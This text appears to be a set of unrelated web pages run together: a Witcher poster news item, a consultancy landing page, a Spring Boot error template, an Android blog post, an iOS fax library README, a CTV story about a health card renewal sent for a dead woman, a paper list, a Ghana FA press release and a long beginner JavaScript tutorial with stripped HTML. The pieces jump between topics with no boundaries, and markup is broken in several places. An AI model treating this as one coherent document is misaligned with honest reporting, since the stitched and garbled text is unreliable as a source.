Yennefer Steals the Show in New The Witcher Posters
by Tudor LeonteNew promotional posters for The Witcher have made their way online, featuring two of the main protagonists of the story. In the recently released posters, we got a closer look at Anya Chalotra’s Yennefer and Freya Allan’s Ciri.
You can check the new Netflix’s The Witcher posters in the gallery below.
RELATED – The Witcher’s First Trailer Blurs the Line Between Good and Evil
Also starring alongside Cavill’s Geralt of Rivia are 17-year-old Freya Allan as Ciri, Anya Chalotra as Yennefer, Jodhi May as Queen Calanthe, Mimi Ndiweni as fledgling sorceress Fringilla, Sabrina as Therica Wilson-Read, Millie Brady as outcast Princess Renfri, Adam Levy as the druid Mousesack, as well as Björn Hlynur Haraldsson as Queen Calanthe’s husband, the knight Eist, and MyAnna Buring as Tissaia, head of the magical academy.
Based on the best-selling fantasy series, The Witcher is an epic tale of fate and family. Geralt of Rivia, a solitary monster hunter, struggles to find his place in a world where people often prove more wicked than beasts. But when destiny hurtles him toward a powerful sorceress, and a young princess with a dangerous secret, the three must learn to navigate the increasingly volatile Continent together.
Schmidt Hissrich will serve as executive producer and showrunner for The Witcher. Sean Daniel is set to executive produce under the Sean Daniel Company together with his partner Jason Brown. Additionally, Tomek Baginski and Jarek Sawko of Platige Image will executive produce as well.
The Witcher will hit Netflix on Friday, December 20. What do you think about the new The Witcher posters? Cast your spells in the comment section below!


--- layout: default page-title: Ketch Partners Landing Page page-description: Ketch Partners Technololgy Service Provider Specializing in SAP solutions. canonical: https://ketch.partners/ robots: index,follow rating: og-title: Ketch Partners Landing Page og-type: website og-url: https://ketch.partners/ og-image: https://ketch.partners/assets/img/logo-top-bar.png og-description: Ketch Partners SAP HANA System Integration and Business Transformation og-sitename: Ketch Partners fb-id: twitter-summary: SAP HANA System Integration and Business Transformation twitter-handle: twitter-title: Ketch Partners Landing PAge twitter-description: Ketch Partners Technololgy Service Provider Specializing in SAP solutions. twitter-author: chris_r_york twitter-image: https://ketch.partners/assets/img/logo-top-bar.png ---
SAP HANA System Integration and Business Transformation
Play the video to learn more


Page: Page URL
Occurred: Timestamp
Response Status: status-code error ...
Note: You would never generate a page that displays a Java exception to an end-user in a real application
Cause unknown (no exception details available)
You are seeing this error page due to Spring Boot (which returns a
view called "error" in response to uncaught exceptions. Since we are
using Thymeleaf this corresponds to the template
error.html
)


by ipedrazas 0001-01-01 Android
categories: – Android – Idea tags:
Almost a week ago and I’ve said a word about My Secret Valentine project… yet. you will have to excuse me but I’ve been a bit busy. Things of having to deal with children during Half Term.
Let’s get into the story. Last week I published a very little app that the only thing that did was to send a (not very pretty, have to reckon) message and a picture by email.
Total numbers:
I used Karmacrazy to check how many people went to the Play page.  But as I said, no analytics? no problem. In fact, you can take a look to the link stats to see the kind of information you can get from this tool.
If you want to give it a go, use this link.
More numbers. Android Versions. And this is kind of a surprise, because in the last Droidcon we talked loooong time about legacy android versions and here we have the proof of what’s the biggest problem with Android so far.
As you can see the top version is the very old 2.3.x followed by all the 4s. I fact, if we unify all the Jelly Bean devices we see that 75% of the devices are running Jelly Bean. However, who’s going to shut the door to 30% of their potential customers?
For those who are prone to slag Android think about it. Updates don’t come from Google, updates come from your carriers. The more the Android device has been customised, the harder it will be to update. Why so many devices still on 2.3.x ? because of the 24m contracts, of course.
polo is made with by @agonzalezro


ios-phaxio
Send faxes with Phaxio.
Installation
Cocoa-Pods
If you haven’t alrady, install the latest version of CocoaPods
Add this line to your
Podfile
:pod 'Phaxio'
Run
pod install
Don’t forget to use
.workspace
to open your project in Xcode
Carthage
If you haven’t alrady, install the latest version of Carthage
Add this line to your
Cartfile
:github "phaxio/phaxio-ios"
Follow the Carthage installation instructions
Dynamic Framework
Head to our GitHub releases page and download and unzip Phaxio.framework.zip
Drag Phaxio.framework to the
Embedded Binaries
section of your Xcode project’sGeneral
settings and be sure to selectCopy items if needed
Head to the
Build Phases
section of your Xcode project settings, and create a newRun Script Build Phase
. Paste the followoing snippet into the text field:bash "${BUILT_PRODUCTS_DIR}/${FRAMEWORKS_FOLDER_PATH}/Phaxio.framework/integrate-dynamic-framework.sd"
Static Framework
Head to our GitHub releases page and download and unzip PhaxioiOS.zip
In Xcode, with your project open, click on
File
thenAdd files to Project…
Select Phaxio.framework in the directory you just unzipped.
Make sure
Copy items if needed
is checked.Click
Add.
In Xcode, click on
File
, thenAdd files to Project…
.Select Phaxio.bundle, located within Phaxio.framework.
Make sure
Copy items if needed
is checked.Click
Add
.
Setup
Sets the key and secret for Phaxio. “`objective-c
[PhaxioAPI setAPIKey:@thisisthekey
andSecret:@thisisthesecret
];
## Author
[Nick Schulze](http://twitter.com/nickschulze) ([nschulze16@gmail.com](mailto:nschulze16@gmail.com)).
## License
This project is [UNLICENSED](http://unlicense.org/) and not endorsed by or affiliated with [Phaxio](http://www.phaxio.com).


Payment Required
Execute your contract by sending an Ark transaction of the required amount to the Service Ark Address, including the SmartBridge Text to identify this contract:
Service Ark Address: {{ arkPaymentParams.serviceArkAddress }} Copy
Required Ark Amount: {{ arkPaymentParams.requiredArk }} Copy
SmartBridge Text: {{ arkPaymentParams.arkSmartBridge }} Copy
| Name | Value | ||
|---|---|---|---|
| {{row.name}} | {{row.value}} | ||
| {{resultArray.name}} |
None
|


Man furious after getting health card renewal form for his dead mother
by Nick Dixon Weekend Anchor and Videojournalist, CTV News Toronto ContactTORONTO -- A Hamilton, Ont. man is furious after he received a health card renewal form from the province for his dead mother.
Arthur Gallant’s mom, Marilyn, died in April while they were on a trip to Pittsburgh to visit their eighth major league ball park together.
Marilyn, 68, died as a result of congestive heart failure.
When Gallant came back from the heartbreaking trip, he took his mother's Pennsylvania death certificate and other relevant documentation to Service Canada and Service Ontario to register her death.
"I had to wait an hour and a half, gave her death certificate, handed in her accessibility parking placard, and her health card," Gallant said.
"I saw them type a few things into the computer. I asked if I needed a receipt. They said no."
He said he was so focused on making all of the arrangements that he didn’t really give himself time to deal with the grief of losing his only parent.
"I was more concerned about getting her declared deceased with the government than I was to take time to process what had happened."
But it turns out Service Ontario didn't update its system. When Gallant checked his mail recently he was shocked.
"It was a letter from Service Ontario saying that it was time for my mom’s health card to be renewed."
He says he shouted angrily and almost keeled over.
"It was like a punch to the gut. I can’t describe it any other way."
But his anger turned into a quest for answers. On Wednesday morning, he visited his local Service Ontario office on the fourth floor of the Ellen Fairclough Building in downtown Hamilton.
After he walked up to the counter to ask why his mother received a health card renewal form, he was further shocked to find out her death was never registered by the province.
"I could not get over the fact that I waited 90 minutes in line at Service Ontario, gave them the death certificates, handed in her health card and her parking placard only to find out seven months later that she’s recorded in their system as still being alive."
He wishes she was still alive and was confused as to why the renewal form was sent, since a few months ago he received a letter to his mother’s estate from Ontario Trillium Fund, explaining that she was no longer entitled to benefits because she was deceased.
Clearly marked on the letter are the words: "On behalf of the Province of Ontario."
When Gallant asked why at Service Ontario, he was told that the federal government administers the fund, and that it was working on behalf of the province.
That also leads Gallant to wonder why Ottawa wouldn’t have told, or checked with the province, about his mother's status.
CTV News Toronto took his concerns to Lisa Thompson, the Minister of Government and Consumer Services. Her initial reaction was to apologize and offer condolences.
"This should never happen, and I’m quite frankly not happy about it," she said.
"I'm going to investigate exactly what happened. Because this is a time when a family should be grieving and remembering their loved ones, not being reminded of a situation that can be troubling."
Gallant said he will call the minister’s office to discuss the case.
"I hope this never happens again to another family. I hope that people hear what has happened to me, and the government looks into why this has happened to me."


This page tracks the new paper links made to my list of SCA 2014 papers.
Page maintained by Ke-Sen Huang.
If you have additions or changes, send an e-mail.
August 16, 2014
- Coupling 3D Eulerian, Height Field and Particle Methods for the Simulation of Large Scale Liquid Phenomena
- Ocean Waves Animation using Boundary Integral Equations and Explicit Mesh Tracking
- Position-based Elastic Rods
- Optimization Integrator for Large Time Steps
- Stable Orthotropic Materials
- A Peridynamic Perspective on Spring-Mass Fracture
- Adaptive Tetrahedral Meshes for Brittle Fracture Simulation
- Fast Grid-Based Nonlinear Elasticity for 2D Deformations
- An Adaptive Virtual Node Algorithm with Robust Mesh Cutting
- Efficient Denting and Bending of Rigid Bodies
- DenseSense: Interactive Crowd Simulation using Density-Dependent Filters
- Holonomic Collision Avoidance for Virtual Crowds
- SteerFit: Automated Parameter Fitting for Steering Algorithms
- ChaCra: An Interactive Design System for Rapid Character Crafting
- Interactive Design of Modular Tensegrity Characters
- Steklov-Poincare Skinning
- Strain Based Dynamics
- View-Dependent Adaptive Cloth Simulation
- Efficient Unsupervised Temporal Segmentation of Human Motion
- Camera Motion Graphs
June 13, 2014
- View-Dependent Adaptive Cloth Simulation
May 23, 2014
- Adaptive Tetrahedral Meshes for Brittle Fracture Simulation
- View-Dependent Adaptive Cloth Simulation
- Strain Based Dynamics
May 22, 2014
- Coupling 3D Eulerian, Height Field and Particle Methods for the Simulation of Large Scale Liquid Phenomena
- Strain Based Dynamics
May 20, 2014
- Page published
- Efficient Unsupervised Temporal Segmentation of Human Motion
kesen.huang@gmail.com


{% include 'includes/head.html' %}
{% include 'includes/navbar.html' %} {% include 'includes/header.html' %} {% url "webapp.views.site.home" as home_url %}
Cancel
{% include 'includes/footer.html' %}


{% load static %}
Sherpa is an EdTech solution that helps parents to get involved with their children's education. Sherpa possesses a wide range of teaching resources tailored for parents to help you be the guide for your child's education journey. Through our in-depth performance analytics, Sherpa will also help you to track your child's progress, giving you greater insights into their educational journey.
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Sherpa’s database covers the entire range of secondary and pre-university level topics in mathematics
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Ghana Football Association appoint Tamimu Issah as spokesperson
Ghana Football Association have appointed Tamimu Issah as the acting spokesman of the Association.
The Executive Council through the acting General Secretary appointed Issah as the new Communication Director on temporal basis who will facilitate the transitional period until a substantive Public Relations Officer is appointed.
Issah has been key figure at the GFA Communications Department and also played a significant role as a spokesperson at the Premier League Board.
A statement from the Ghana FA reads:
PRESS RELEASE: GFA NAMES TAMIMU ISSAH AS ACTING SPOKESPERSON
The Ghana Football Association has appointed Tamimu Issah as Acting Spokesperson of the Association.
Mr. Issah is a long-standing staff of the GFA Communications Department, and he is currently the Acting Head of the Department.
All official issues relating to media and communications are to be channeled through Tamimu Issah and the Communications Department.
ALEX ASANTE
(AG. GENERAL SECRETARY)
Issah has vast knowledge in communication and has worked together with Ibrahim Sannie Daara, the former head of the Ghana FA Communications Department.


|
My Project
|
Base class for applications that process SLEIGH format specifications. More...
Go to the source code of this file.
Classes | |
| class | SleighBase |
| Common core of classes that read or write SLEIGH specification files natively. More... | |
Base class for applications that process SLEIGH format specifications.


Girl Develop It is here to provide affordable and accessible programs to learn software through mentorship and hands-on instruction.
Some "rules"
gdila.github.io/intro-javascript
Follow along with us on your computer!
A quirky but powerful and ubiquitous programming language -- it's built into every modern web browser!
Originally a client-side language for making websites more interactive, but now so much more!
Stats by RedMonk, based on data from GitHub and StackOverflow
Get user input from the HTML <input>
elements
Combine user input with our Mad Lib story
Show finished Mad Lib when user clicks the button
...but how do we do all that??
 Copy and paste this code into your console. To run your code, hit enter.
var
keyword to define a new variableVariables can be created with an initial value or without any value at all (undefined
):
var favoriteAnimal = 'penguin';
var favoriteColor;
Try it out! Run this code, then type each variable name (don't forget to press "enter"!) and the console will show their values.
After a variable has been created, you can change it without using the var
keyword:
var favoriteFood = 'salad';
// Actually, I changed my mind!
favoriteFood = 'pizza';
Try it yourself in the console!
Comments are ignored by the computer but very useful for us humans to keep our code organized:
// This is a single-line comment.
/* This is a multi-line comment!
Comments help us humans stay sane. You can use them for:
- notes to explain how your code works
- to-do lists and reminders
- links to sources or references, like this one about JS comments:
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Comments
*/
Single-line comments start with //
Multi-line comments start with /*
and end with */
Variables can contain different types of data, like strings, numbers, and more!
var adjective = 'purple';
var favoriteNumber = 3;
The computer stores everything as 1s and 0s, but it interprets the 1s and 0s differently depending on what data type they are.
For example: "0001" might represent the number 1, the letter A, the value TRUE, or something else!

Strings are always surrounded by quote marks, either single (' '
) or double (" "
).
It doesn't matter which you choose, as long as the opening and closing quote marks match!
Photo by Wendy (smkybear) on Flickr
Since strings are always surrounded by quote marks, if your string also contains a quote mark,
you'll run into trouble!
var brokenString = 'I think I'm doing this wrong!';
Try it out in the console. Did you get an error?
Let's see how to fix it...
You can use double (" "
) quote marks to surround a string containing a single quote:
var fixedString1 = "I think I'm doing this right!";
Or vice versa, you can use single quotes (' '
) to surround a string containing a double quote:
var fixedString2 = 'I shouted "Yay!" when it worked.';
You can escape special characters like quote marks by adding a backslash (\
) in front of them:
var fixedString3 = 'Yay, I\'m escaping strings!';
Escape notation is also used for printing special characters like tab (\t
) and new line (\n
).
See more on strings in this reference page.
So you've already defined some strings like favoriteAnimal
and favoriteFood
, but how can you combine them into a sentence?
var sentence = 'My name is ' + myName + ' and I rock!';
Try it! Run this code in your console. Then type "sentence" and hit enter, and you'll see the output:
I am Sally Awesomepants and I rock!
Note: The console remembers the myName
variable that you defined earlier, because it's saved in memory until you close your browser tab. Neat, huh?
Now run this code in your console:
var madLib = 'Yesterday I found a ' + adjective + ' ' + favoriteAnimal + ' with ' + favoriteNumber + ' eyes eating ' + favoriteFood + ' on my dining table and writing JavaScript on my computer! It wrote some code that concatenated strings, so I ran the code and the ouput was: ' + sentence;
After running the code, remember to type madLib
and hit enter to see the value of the madLib string!
The fancy technical term for combining strings is called concatenation. Say that ten times fast!
When used with strings, the + symbol is called the concatenation operator.
console.log(madLib);
at the end!madlibs
somewhere easy to find (maybe on your Desktop)index.html
and save it in your madlibs folderstyle.css
and save it in your madlibs foldermadlibs.js
and save it in your madlibs folder
<!DOCTYPE html>

		<title>Mad Libs! (Girl Develop It LA - Intro to JavaScript)</title>
		<meta charset="utf-8">
		<meta name="viewport" content="width=device-width">
		<link href="style.css" rel="stylesheet" type="text/css">
		<link href="https://fonts.googleapis.com/css?family=Waiting+for+the+Sunrise" rel="stylesheet">

Mad Libs!

		Noun (ex: tree, person): <input type="text" id="noun" class="fill">
		Past Tense Verb (ex: jumped, ate): <input type="text" id="verb" class="fill">
		Adjective (ex: happy, purple): <input type="text" id="adjective" class="fill">
		<button id="submit">Create Mad Lib</button>

Based on a practice project from Dash by General Assembly

body {
font-family: 'Helvetica', 'Arial', sans-serif;
margin: 0 auto;
text-align: center;
padding: 0 20px;
max-width: 800px;
font-size: 25px;
background: #efefef;
}
button {
font-size: 25px;
font-weight: bold;
padding: 10px;
margin: 10px;
}
input.fill {
display: block;
width: 400px;
max-width:95%;
margin:0 auto;
margin-bottom: 20px;
box-sizing: border-box;
}
.fill {
font-size: 30px;
font-weight: bold;
font-family: 'Waiting for the Sunrise', cursive;
letter-spacing: 5px;
background: white;
color: red;
margin-left: 4px;
margin-right: 4px;
padding: 5px 15px;
}
#madlib {
font-size: 30px;
line-height: 2.5;
margin-top: 20px;
margin-bottom: 40px;
}
h1 {
font-size: 80px;
margin: 0;
color: red;
font-family: 'Waiting for the Sunrise', cursive;
font-weight: bold;
letter-spacing: 7px;
}
.small {
font-size:0.5em;
font-style: italic;
margin-top: 30px;
}
In our HTML file, we use the

Note that here we assume madlibs.js
is in the same folder as the HTML file that's linking to it.
console.log
!Paste this code into your madlibs.js
file, save it, and then open index.html
in your web browser:
console.log('Hello world!');
Now open the browser console. You should see the message "Hello world!"
The console.log
function displays information in the console. Use it to confirm that your code is doing what you think it's doing!
This log of information is similar to the logbooks used by ship captains to track important events.
Fun fact: most web browsers support fancy customizations, like styling the messages with CSS!
See more advanced tricks in Chrome's documentation
A function is a reusable chunk of code that performs a particular action.
In mathematics, a function transforms input(s) into output. But for JavaScript functions, the inputs and output are optional.
To run or call a function, type its name followed by
( );
with any inputs listed inside the parentheses:
// One string input:
console.log('I am a string');
// Three string inputs:
console.log('string1', 'string2', 'string3');
// Or no inputs at all:
console.log();
Functions in JavaScript can take zero, one, or more inputs separated by commas.
Any variable or data type can be used as input for a function, and you can mix and match:
var favoriteNumber = 5;
// Using a variable containing a number as input:
console.log(favoriteNumber);
var animal = 'penguins';
// You can mix and match data types:
console.log('I found ', favoriteNumber, animal);
JavaScript functions can even take other functions as their inputs! But more on that later.
JavaScript has lots of built-in functions, but you can also create your own!
// Defining a function called shout:
function shout (phrase) {
console.log(phrase + '!!!');
}
// Running (or calling) the function:
shout('I love JavaScript');
shout('Functions rock');
Try it out! First you define your function, and then you can call it as many times as you want.
function shout (phrase) { console.log(phrase + '!!!'); }
function
keywordDefining a function with multiple parameters:
// Defining a function with 3 parameters:
function displayThreeWords (word1, word2, word3) {
console.log(word1 + ' ' + word2 + ' ' + word3);
}
Running the function with multiple arguments:
// Running the function with 3 arguments:
displayThreeWords('pineapple', 'motorboat', 'toothbrush');
Here's a handy way to remember it:
// 3 parameters, don't know the values yet:
function displayThreeWords (word1, word2, word3) {
console.log(word1 + ' ' + word2 + ' ' + word3);
}
// 3 arguments, specific values:
displayThreeWords('pineapple', 'motorboat', 'toothbrush');
To get an output from your function, use the return
keyword followed by the output value:
// Define a function with 1 parameter and an output:
function shout (phrase) {
return phrase + '!!!';
}
// Run the function and save the output to a variable
var myResult = shout('I got some output');
// Display the output
console.log(myResult);
Try it out! Notice that now we can save the results of our function, not just display them in the console.
Keep in mind that console.log
displays information but doesn't save it.
So if you want to use the output from your function later on, you need to return
it!
sayHello
that takes no input parameters and returns as output a string that says hello to the world.makeHeading
that takes one parameter, surrounds it inside "
"
and "
"
, and returns the combination as its output.sayHello
function and save its output in a new variable called greeting
.makeHeading
function, passing it your greeting
variable as an argument, and save its output in greeting
(overriding its old value).Now let's review our project goals again
Get user input from the HTML <input>
elements
Combine user input with our Mad Lib story
Show finished Mad Lib when user clicks the button
...we're almost there!
The DOM organizes HTML pages as a hierarchy of elements, just like the file system on our computers.
It's built into every web browser to let developers
(like us!) modify the contents of our web pages.
The root of the hierarchy/tree is the document
object, which contains all the other objects that
represent our HTML elements.
// Try opening your Mad Libs index.html in your browser,
// and run this in the console to see what's inside:
console.dir(document);
Each of these objects contains properties like the text content of the HTML elements, their HTML attributes, and their CSS styles.
OK, the Document Object Model sounds cool!
So far we've worked with simple variables, but what if we have a whole bunch of them?
var myName = "Sally Awesomepants";
var myProfession = "full-stack JavaScript developer";
var myAge = 32;
var myFavColor = "purple";
var myFavFood = "pizza";
var myFavAnimal = "penguin";
var myFavNumber = 3;
If you have to track this data for hundreds of people, how would you even remember the names of all these variables?! There must be a better way!
You can think of an object as a bag full of variables, just a convenient way to carry them all together:
var me = {
name: "Sally Awesomepants",
profession: "full-stack JavaScript developer",
age: 32,
favColor: "purple",
favFood: "pizza",
favAnimal: "penguin",
favNumber: 3
};
console.log("Hi, I'm " + me.name + ", a "
+ me.age + "-year-old " + me.profession + "!");
This is just one of the ways to create an object, called object literal notation. But more on that later.
Not only can objects contain variables, but they can even contain their own functions!
var myObject = {
myProperty: "Here is some data!",
myMethod: function () {
console.log('Function inside an object!');
}
}
// Access a property of our object:
console.log(myObject.myProperty);
// Run a method of our object:
myObject.myMethod();
Tech jargon tip:
when inside an object, its variables are called properties, and its functions are called methods.

Next, run this code in the console:
document.body.textContent = 'You got hacked!';
OK, just kidding!
Thankfully, it's not that easy to hack a website. These changes are temporary, and they only appear on your computer; nobody else will see them.
Every element in the DOM has a textContent
property that contains the text inside the HTML element it represents. Let's try this out:
// Put this code in your madlibs.js file, then save it
// and open your index.html file in your web browser.
var bodyText = document.body.textContent;
console.log(bodyText);
// SHORTCUT: you could also combine those two lines of code,
// no variable needed:
// console.log( document.body.textContent );
Interesting, right? That's all the text in your web page, without the HTML tags! This can be useful...
First we need a way to identify it! One way is with document.getElementById()
, a built-in method of the document
object for finding one particular element:
var myElement = document.getElementById('test');
It takes one string
as an argument, which should match the ID of the HTML element you want to get.
document.getElementById
!Change me!
The HTML for the box on this page is:

Change me!

Let's change its text! Open your browser console while you're on this slide and try running this code:
// Identify the box by its ID:
var box = document.getElementById('changebox');
// Display its current text content:
console.log(box.textContent);
// Change its text content:
box.textContent = 'Voila! JavaScript magic!';
The HTML for this input box:
<input id="changeinput" value="Change me!">
Close and reopen your browser console, then try:
// Identify the input box by its ID:
var input = document.getElementById('changeinput');
// Notice that its text content is empty!
console.log(input.textContent);
// We need to use the value property instead:
console.log(input.value);
// Change its value:
input.value = 'new value!';
So just remember: you need to use the value
property to get the text inside any form elements.
For pretty much all other types of HTML elements, the textContent
property will work fine.
1) Look inside your index.html
file and find the IDs of each input box; you're gonna need them!
2) Create a JavaScript variable containing the value of each input box in your madlibs.js
file by using the getElementById
method of the document
object.
Be sure to look through the previous slides to review what we've learned so far. And don't be afraid to experiment and break stuff; that's the best way to learn!
// Get the values of HTML input boxes
// with the IDs "noun", "verb", and "adjective"
var noun = document.getElementById('noun').value;
var verb = document.getElementById('verb').value;
var adjective = document.getElementById('adjective').value;
// For testing purposes, display the values in the console
console.log(noun, verb, adjective);
Save your madlibs.js
file, open index.html
in the browser, write some text in the input boxes, and then open the console!
Oh yeah, our code runs as soon as we go to our web page (index.html
), before we can type anything into the input boxes! Order of events matters!
When the user clicks the button.
Let's make it happen!
First, let's look at the bigger picture:
The event loop is some code that is constantly running in the background. It checks if any events have happened and runs your code at the right time.
Anywhere you deal with user input, you'll see
event-based programming.
It's built into every web browser too!
See the MDN event reference page for a gigantic list!
You can create chain reactions in your code, not unlike a row of dominoes!
Event-based programming can be harder to learn and harder to debug, so be prepared for some frustration.
Let's look at some code!
document.addEventListener('click', myFunction); function myFunction(event) { console.log(event); }
There are five parts to a standard JavaScript
event listener
Part 1: Where the events will happen
(in this case, the whole HTML document object)
Part 2: Start listening for events
(with JavaScript's built-in addEventListener method)
Part 3: The type of event
(see this reference list or make up your own)
Part 4: The name of the function to run
when the event happens
(known as the "callback" function)
Part 5: This parameter receives an object with info about the event
(different events give you different information)
Let's try it! Open your console and run this code, then click on the page and check the console again.
You should see a MouseEvent object in the console. Click to expand the data:
Each event has different properties, which you can use to control all sorts of cool things!
But more on that later.
Get user input from the HTML <input>
elements
Combine user input with our Mad Lib story
Show finished Mad Lib when user clicks the button
...last piece of the puzzle!
Your code in madlibs.js
should look like this so far:
// Get the values of HTML input boxes
// with the IDs "noun", "verb", and "adjective"
var noun = document.getElementById('noun').value;
var verb = document.getElementById('verb').value;
var adjective = document.getElementById('adjective').value;
// For testing purposes, display the values in the console
console.log(noun, verb, adjective);
madlibs.js
, take all the code (shown on the last slide) and put it all inside a new function called showMadLib
that takes no parameters.createMadLib
, which takes 3 parameters (noun, verb, and adjective), combines them into a sentence, and returns the combined string as output.showMadLib
function, create a variable called madLib
and set its value equal to the result of calling createMadLib
with noun
, verb
, and adjective
as its arguments.
function showMadLib() {
// Get the values of HTML input boxes with the IDs "noun", "verb", and "adjective"
var noun = document.getElementById('noun').value;
var verb = document.getElementById('verb').value;
var adjective = document.getElementById('adjective').value;
// For testing purposes, display the values in the console
console.log(noun, verb, adjective);
// Make the Mad Lib and save it to a variable
var madLib = createMadLib(noun, verb, adjective);
}
function createMadLib(noun, verb, adjective) {
return 'Bob robbed the bank with a deadly ' + noun + ', but then his ' + adjective + ' girlfriend ' + verb + ' the cash!';
}
showMadLib
function (at the end of it), use document.getElementById
to create a JavaScript object for the HTML element

textContent
equal to your finished Mad Lib string.
function showMadLib() {
// Get the values of HTML input boxes with the IDs "noun", "verb", and "adjective"
var noun = document.getElementById('noun').value;
var verb = document.getElementById('verb').value;
var adjective = document.getElementById('adjective').value;
// For testing purposes, display the values in the console
console.log(noun, verb, adjective);
// Make the Mad Lib and save it to a variable
var madLib = createMadLib(noun, verb, adjective);
// Make a JavaScript object for the HTML element with id "madlib"
var madLibContainer = document.getElementById('madlib');
// and change its contents to contain our madLib string
madLibContainer.textContent = madLib;
}
function createMadLib(noun, verb, adjective) {
return 'Bob robbed the bank with a deadly ' + noun + ', but then his ' + adjective + ' girlfriend ' + verb + ' the cash!';
}
index.html
file and identify the ID of the submit button.madlibs.js
(not inside any functions), use document.getElementById
again to create a JavaScript object for the submit button.document
with your button object.showMadLib
.
// *** PART 3 CODE (this can be at the top of the file or at the bottom, doesn't matter):
// Make a JavaScript object for the HTML submit button
var submitButton = document.getElementById('submit');
// When submit button is clicked, run the showMadLib function
submitButton.addEventListener('click', showMadLib);
// *** THE REST IS THE SAME AS SOLUTION 2:
function showMadLib() {
// Get the values of HTML input boxes with the IDs "noun", "verb", and "adjective"
var noun = document.getElementById('noun').value;
var verb = document.getElementById('verb').value;
var adjective = document.getElementById('adjective').value;
// For testing purposes, display the values in the console
console.log(noun, verb, adjective);
// Make the Mad Lib and save it to a variable
var madLib = createMadLib(noun, verb, adjective);
// Make a JavaScript object for the HTML element with id "madlib"
var madLibContainer = document.getElementById('madlib');
// and change its contents to contain our madLib string
madLibContainer.textContent = madLib;
}
function createMadLib(noun, verb, adjective) {
return 'Bob robbed the bank with a deadly ' + noun + ', but then his ' + adjective + ' girlfriend ' + verb + ' the cash!';
}
Let's add one final touch to make the Mad Lib prettier...
The textContent
property lets us change the plain text inside an HTML element, but the innerHTML
property lets us use HTML as well as text!
 Just don't abuse your new super powers!
In your madlibs.js
file, replace madLibContainer.textContent
with madLibContainer.innerHTML
.
Then surround the noun, verb, and adjective in your Mad Lib string with
HTML tags like this:
function createMadLib(noun, verb, adjective) {
return 'Bob robbed the bank with a deadly
' + noun + ',
but then his ' + adjective
+ ' girlfriend '
+ verb + ' the cash!';
}
Save it, open index.html
in your browser again, and try it out! Now it's using the custom CSS in your style.css
file!
Variables can be numbers, either integers or floats (decimals).
var numberOfKittens = 5;
var cutenessRating = 9.6;
The browser will automatically convert integers to floats if needed
Once you have numbers, you can do math with them!
var numberOfKittens = 5;
var numberOfPuppies = 4;
var numberOfAnimals = numberOfKittens + numberOfPuppies;
| Example | Name | Result |
|---|---|---|
| -a | Negation | Opposite of a. |
| a + b | Addition | Sum of a and b. |
| a - b | Subtraction | Difference of a and b. |
| a * b | Multiplication | Product of a and b. |
| a / b | Division | Quotient of a and b. |
| a % b | Modulus | Remainder of a divided by b. |
Create two variables and try some arithmetic operators. Don't forget to display your results!
In this code, spot the comments, variables, operator, function, argument, and return value.
function calculateTip(total) {
var tipPercent = 0.15; //Can be changed
return (total * tipPercent);
}
var billPreTip = 10;
var billTip = calculateTip(billPreTip);
var receipt = 'Meal: ' + billPreTip + ' Tip: ' + billTip +
' Total: ' + (billPreTip + billTip);
console.log(receipt);
The scope of a variable is how long the computer will remember it.
A variable declared outside a function has a global scope and can be accessed anywhere, even in a function.
var awesomeGroup = 'Girl Develop It'; //Global scope
function whatIsAwesome() {
console.log (awesomeGroup + ' is pretty awesome.'); //Will work
}
whatIsAwesome();
A variable declared within a function has a local scope and can only be accessed within that function.
function whatIsAwesome() {
var awesomeGroup = 'Girl Develop It'; //Local scope
console.log ('I made a variable called awesomeGroup with a value of ' + awesomeGroup); //Will work
}
whatIsAwesome();
console.log (awesomeGroup + ' is pretty awesome.'); //Won't work
Boolean variables represent the logical values True and False
var catsAreBest = true;
var dogsRule = false;
If you try to use another variable as a boolean, JavaScript will guess. The number 0, the empty string '', undefined, and null are considered false, everything else reads as true.
Use if
to decide which lines of code to execute, based on a condition.
if (condition) {
// statements to execute
}
var bananas = 5;
if (bananas > 0) {
console.log ('You have some bananas!');
}
| Example | Name | Result |
|---|---|---|
| a == b | Equal | TRUE if a is equal to b (can be different types). |
| a === b | Identical |
TRUE if a is equal to b, and the same type. |
| a != b | Not equal | TRUE if a is not equal to b (can be different types). |
| a !== b | Not identical |
TRUE if a is not equal to b, or they are not the same type. |
| a  b | Greater than | TRUE if a is strictly greater than b. |
| a <= b | Less than or equal to | TRUE if a is less than or equal to b. |
| a >= b | Greater than or equal to | TRUE if a is greater than or equal to b. |
Don't mix up =
and ==
Make a variable called "temperature." Write some code that tells you to put on a coat if it is below 50 degrees.
Use else to provide an alternate set of instructions.
var age = 28;
if (age >= 16) {
console.log ('Yay, you can drive!');
} else {
console.log ('Sorry, but you have ' + (16 - age) + ' years until you can drive.');
}
If you have multiple conditions, you can use else if.
var age = 20;
if (age >= 35) {
console.log('You can vote AND hold any place in government!');
} else if (age >= 25) {
console.log('You can vote AND run for the Senate!');
} else if (age >= 18) {
console.log('You can vote!');
} else {
console.log('You can\'t vote, but you can still write your representatives.');
}
Modify your "wear a coat" code for these conditions:
| Example | Name | Result |
|---|---|---|
| a && b | And | TRUE if both a and b are TRUE . |
| a || b | Or | TRUE if either a or b is TRUE . |
| ! a | Not | TRUE if a is not TRUE . |
You can use these operators to combine conditions.
var bananas = 5;
if (bananas >=2 && bananas <7) {
console.log ('You have a reasonable number of bananas');
} else {
console.log ('Check your banana supply');
}
Add a logical operator to your what to wear program.
While will repeat the same code over and over until some condition is met.
var bottlesOfBeer = 99;
while (bottlesOfBeer >= 1) {
console.log (bottlesOfBeer + ' bottles of beer on the wall');
bottlesOfBeer = bottlesOfBeer - 9;
}
Make sure something changes in the loop, or your loop will go on forever...
For loops are very similar, but you declare a counter in the statement.
//will count 1 to 10
for (var i = 1; i <= 10; i++) {
console.log (i);
}
You can add other statements or logical operators inside the loops.
//Count from 1 to 50
for (var i = 1; i <= 50; i++) {
console.log (i);
//Says 'Buzz' after multiples of three
if (i % 3 == 0) {
console.log (' Buzz');
}
//Says 'Bang' after multiples of five
if (i % 5 == 0) {
console.log (' Bang');
}
}
To exit a loop, use the break statement.
//Count from 100 to 200
for (var i = 100; i <= 200; i++) {
console.log('Testing ' + i);
//Stop at the first multiple of 7
if (i % 7 == 0) {
console.log('Found it! ' + i);
break;
}
}
Write a loop that gives you the 9's times table,
from 9 x 1 = 9 to 9 x 12 = 108.
Finish early? Try using a loop inside a loop to write all the times tables, from 1 to 12.
Arrays are ordered lists of values.
var arrayName = [element0, element1, ...];
You can put different types of data into an array.
var rainbowColors = ['Red', 'Orange', 'Yellow', 'Green',
'Blue', 'Indigo', 'Violet'];
